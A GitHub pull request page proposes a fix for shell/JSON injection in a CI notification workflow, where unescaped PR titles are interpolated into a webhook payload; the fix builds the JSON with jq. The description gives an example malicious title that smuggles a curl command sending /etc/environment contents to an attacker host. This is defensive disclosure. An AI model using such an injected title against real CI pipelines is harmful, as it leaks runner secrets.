fix(security): prevent shell/JSON injection via PR title in Chat notification workflow#606
Open
XananasX7 wants to merge 1 commit into
Open
Conversation
…on workflow The pr_notification.yml workflow used PR title and labels with the pattern '"'"$TITLE"'"' inside a JSON string — a classic shell/JSON injection vector. A PR with a title containing single quotes breaks out of the JSON, allowing arbitrary data injection into the webhook request body (e.g. replacing the WEBHOOK_URL value or injecting unexpected JSON fields). Fix: extract all untrusted values into env vars and build the JSON payload with jq, which properly escapes all special characters.
|
Thanks for your pull request! It looks like this may be your first contribution to a Google open source project. Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA). View this failed invocation of the CLA check for more information. For the most up to date status, view the checks section at the bottom of the pull request. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
The
pr_notification.ymlworkflow uses PR title and labels with the pattern'"'"$TITLE"'"'inside a shell-constructed JSON string — a shell/JSON injection vector.Vulnerability
A PR with a title containing a single quote (
') or other shell metacharacters can:Example malicious PR title:
'; curl https://attacker.com/$(cat /etc/environment | base64); echo 'Fix
Extract all untrusted event values into env vars and build the JSON payload with
jq, which properly escapes all special characters. This is the standard safe pattern for constructing JSON payloads from untrusted input in shell scripts.